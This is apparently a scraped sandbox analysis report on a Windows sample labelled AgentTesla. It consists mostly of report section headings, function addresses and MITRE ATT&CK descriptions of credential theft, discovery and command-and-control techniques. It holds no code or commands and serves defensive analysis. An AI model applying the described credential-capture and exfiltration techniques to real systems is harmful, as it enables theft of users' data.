Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
Tactics:	Credential Access
Data Sources:	Command: Command Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report LisectAVT_2403002A_52.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Agenttesla

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Snort Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\LisectAVT_2403002A_52.exe.log

Static File Info

General

File Icon

Static PE Info

General

Authenticode Signature

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Network Behavior

Suricata IDS Alerts

Network Port Distribution

Windows Analysis Report
LisectAVT_2403002A_52.exe

Function 00A9D450 Relevance: 6.1, APIs: 4, Instructions: 133
threadCOMMON

Function 00A9D460 Relevance: 6.1, APIs: 4, Instructions: 128
threadCOMMON

Function 00A9B1D0 Relevance: 1.7, APIs: 1, Instructions: 198
COMMON

Function 00A958EC Relevance: 1.6, APIs: 1, Instructions: 99
COMMON

Function 00A944E0 Relevance: 1.6, APIs: 1, Instructions: 96
COMMON

Function 00A9D6A0 Relevance: 1.6, APIs: 1, Instructions: 67
COMMON

Function 00A9D6A8 Relevance: 1.6, APIs: 1, Instructions: 62
COMMON

Function 00A9AEE8 Relevance: 1.6, APIs: 1, Instructions: 55
libraryCOMMON

Function 00A9B641 Relevance: 1.6, APIs: 1, Instructions: 55
libraryCOMMON

Function 023537B0 Relevance: 1.6, APIs: 1, Instructions: 51
COMMON

Function 023514D0 Relevance: 1.5, APIs: 1, Instructions: 48
windowCOMMON

Function 00A9B3C0 Relevance: 1.5, APIs: 1, Instructions: 47
COMMON

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre